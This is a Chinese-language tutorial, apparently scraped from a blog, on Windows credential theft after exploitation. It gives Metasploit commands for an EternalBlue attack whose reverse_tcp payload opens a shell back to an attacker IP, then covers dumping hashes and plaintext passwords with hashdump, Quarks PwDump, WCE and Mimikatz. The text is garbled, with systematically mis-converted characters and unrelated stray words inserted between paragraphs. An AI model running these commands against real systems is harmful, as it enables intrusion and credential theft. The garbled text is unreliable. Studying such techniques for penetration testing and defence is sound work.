Metasploit之Hash攻擊(Hashdump、Quarks PwDump、Windows Credentials Editor、Mimikatz)

前期工做

根據這篇: https://www.jianshu.com/p/03a1c13f963a ,進入meterpreter。web

msfconsole                                # 啓動metasploit
use exploit/windows/smb/ms17_010_eternalblue   # 用這個模塊
set payload windows/x64/meterpreter/reverse_tcp   # 用這個payload
set RHOST 192.168.1.102                            # 靶機IP
set LHOST 192.168.1.104                              # 攻擊機IP 
run                                                  # 開始攻擊

使用HashDump抓取密碼

Hashdump Meterpreter腳本能夠從目標機器中提取Hash值,破解Hash值便可得到登陸密碼。計算機中的每一個帳號(若是是域服務器,則爲域內的每一個帳號)的用戶名和密碼都存儲在sam文件中,當計算機運行時,該文件對全部帳號進行鎖定,要
想訪問就必須有"系統級」帳號。因此要使用該命令就必須進行權限的提高。
在Meterpreter Shell提示符下輸入hashdump命令,將導出目標機sam數據庫中的Hash,以下圖所示。
算法

在非system權限下會出現失敗
shell

在非SYSTEM權限下遠行hashdump命令會失敗,並且在Windows 七、Windows Server 2008下有時候會出現進程移植不成功等問題;而另外一個模塊smart hashdump的功能更爲強大,能夠導出域全部用戶的Hash,其工做流程以下:數據庫

  • 檢查Meterpreter會話的權限和目標機操做系統類型。
  • 檢查目標機是否爲域控制服務器。
  • 首先嚐試從註冊表中讀取Hash,不行的話再嘗試注入LSASS進程。

這裏要注意若是目標機的系統是Windows 7,並且開啓了UAC,獲取Hash就會失敗,這時須要先使用繞過UAC的後滲透攻擊模塊,以下圖所示。
windows

能夠經過暴力或者彩虹列表對抓取到的hash進行破解,推薦 https://www.cmd5.com/ .緩存


說明:在SAM文件中保存了兩個不一樣的口令信息: LAN Manager(LM)口令散列算法和更增強大的加密NT版。LM就是NT口令文件的弱點。上圖中左邊爲LM版本口令,右邊是NTLM版本。1001表明他是管理員
安全

使用Quarks PwDump抓取密碼

PwDump是一款Win32環境下的系統受權信息導出工具,目前沒有任何一款工具能夠導出如此全面的信息、支持這麼多的OS版本,並且至關穩定。它目前能夠導出:服務器

  • Local accounts NT/LM hashes + history 本機NT/LM哈希+歷史登陸記錄。
  • Domain accounts NT/LM hashes + history域中的NT/LM哈希+歷史登陸記錄。
  • Cached domain password緩存中的域管理密碼。
  • Bitlocker recovery information (recovery passwords & keypackages)使用Bitlocker的恢復功能後遺留的信息(恢復密碼&關鍵包)。

[下載地址:https://www.webshell.cc/?dl_id=6]
PwDump支持的操做系統爲Windows XP/Windows 2003/Windows Vista/Windows 7/Windows 2008/Windows 8。
在Windows的密碼系統中,密碼以加密的方式保存在/windows/system32/config/下的sam文件裏,而帳號在登陸後會將密碼的密文和明文保存在系統的內存中。正常狀況下系統啓動後,sam文件是不能被讀取的,可是PwDump就能讀取sam.
直接運行Quarks PwDump.exe,以下所示
網絡

默認顯示幫助信息,其參數含義以下所示。架構

  • -dhl:導出本地哈希值。
  • -dhdc:導出內存中的域控哈希值。
  • -dhd:導出域控哈希值,必須指定NTDS文件。
  • -db:導出Bitlocker信息, 必須指定NTDS文件。
  • -nt:導出NTDS文件。
  • -hist:導出歷史信息,可選項。
  • -t:可選導出類型,默認導出John類型。
  • -o:導出文件到本地。

這裏使用該工具抓取本機Hash值並導出,能夠輸入QuarksPwDump.exe -dhl -o 1.txt命令導出本地哈希值到當前目錄的1.txt。此外,該工具還能夠配合Ntdsutil工具導出域控密碼。

使用Windows Credientials Editor抓取密碼

[下載地址: https://www.ampliasecurity.com/research/windows-credentials-editor/]
Windows Credentials Editor (WCE)是一款功能強大的Windows平臺內網滲透工具,它能列舉登陸會話,而且能夠添加、改變和刪除相關憑據(例如LM/NTHash)。這些功能在內網滲透中可以被利用,例如,在Windows平臺上執行繞過Hash操做或者從內存中獲取NT/LM Hash (也能夠從交互式登陸、服務、遠程桌面鏈接中獲取)以用於進一步的攻擊,並且體積也很是小,是內網滲透時的必備工具。不過必須在管理員權限下使用,還要注意殺毒工具的免殺。
首先輸入upload命令將wce.exe.上傳到目標主機C盤中,而後在目標機Shell下輸入wce -w命令,便會成功提取系統明文管理員的密碼,如圖所示。


默認使用-l命令讀取數據格式username:domain:lm:ntlm (這種讀取是從內存中讀取已經登陸的信息,而不是讀取sam數據庫中的信息),默認的讀取方式是先用安全的方式讀取,若讀取失敗再用不安全的方式,因此頗有可能對系統形成破壞。
這裏建議使用f參數強制使用安全的方式讀取。-g參數是用來計算密碼的,就是制定一個系統明文會使用的加密方法來計算密文,以下圖所示。

-c參數用於指定會話來執行cmd, -v參數用於顯示詳細信息,這樣才能看到luid信息,-w參數是最關鍵的,用於查看已登陸的明文密碼,以下圖所示。

使用Mimikatz抓取密碼

Mimikatz是法國專家Benjamin Delpy (@gentilkiwi) 寫的輕量級調試器。做爲一款後滲透測試工具,它能夠幫助安全測試人員輕鬆抓取系統密碼,此外還包括可以經過獲取的Kerberos登陸憑據,繞過支持RestrictedAdmin模式下Windows 8或Windows Server 2012的遠程終端(RDP)等功能。在最初滲透階段以後的大多數時間裏,攻擊者可能想在計算機/網絡中獲得一個更堅固的立足點,這樣作一般須要一組補充的工具,Mimikatz就是一種將攻擊者想執行的、最有用的任務捆綁在一塊兒的嘗試。須要注意該工具在Windows 2000與Windows XP系統下沒法使用。Metasploit已經將其做爲一個Meterpreter腳本集成了 ,以便用戶使用,而不須要上傳該軟件到目標主機上。
Mimikatz必須在管理員權限下使用,此時假設咱們經過一系列前期滲透,已經成功得到目標機的Meterpreter Shell (過程略), 當前權限爲Administrator。
獲取系統SYSTEM權限後,首先查看目標機器的架構。雖然Mimikatz同時支持32位和64位的Windows架構,但若是服務器是64位操做系統,直接使用Mimikatz後,Meterpreter會默認加載一個32位版本的Mimikatz到內存, 使得不少功能無效。
並且在64位操做系統下必須先查看系統進程列表,而後在加載Mimikatz之 前將進程遷移到一個64位程序的進程中,才能查看系統密碼明文,在32位操做系統下就沒有這個限制。這裏輸入sysinfo命令,如圖所示。

這是一個64位的操做系統,先遷移進程。


如今加載Mimikatz模塊

mimikatz_command選項可讓咱們使用Mimikatz的所有功能,須要經過加載一個錯誤的模塊獲得可用模塊的完整列表,以下圖所示。

咱們可使用" :: "語法請求某個模塊可用的選項,選定一個模塊後也可使用" :: "查看本模塊的幫助,例如查看Hash的可用選項有Im和ntlm兩種,以下所示。

知道了Mimikatz的大概使用方法後,咱們既可使用Metasploit內建的命令,也可使用Mimikatz自帶的命令從目標機器上導出Hash和明文證書。接着直接輸入msv命令抓取系統Hash值,以下所示。

輸入kerberos能夠抓取系統票據。

輸入wdigest命令能夠獲取系統帳戶信息。

接着輸入samdump命令查看samdump的可用選項,而後輸入mimikatz_command -f samdump::hashes命令抓取Hash,以下圖所示。

Mimikatz除了能夠抓取Hash,還有不少其餘功能,例如使用Handle模塊、list/kill進程,以及模擬用戶令牌,以下圖所示。

使用Service模塊能夠 list/start/stop/remove Windows的服務,以下圖。

使用Crypto模塊能夠list/export任何證書,以及儲存在目標機器上的相應私鑰,以下圖所示。

Mimikatz也支持PowerShell調用(Invoke-Mimikatz) 。
Mimikatz的功能特性:可以在PowerShell中執行Mimikatz,偷竊、注入憑證,僞造Kerberos票證建立,還有不少其餘的功能。
Mimikatz的一些其餘模塊包含了不少有用的特性,更完整的特性列表能夠在Benjamin Delpy的博客https://blog.gentilkiwi.com/上找到。

說明

本文參考《Web安全攻防:滲透測試實戰指南》 全部過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜!!!

相關文章
相關標籤/搜索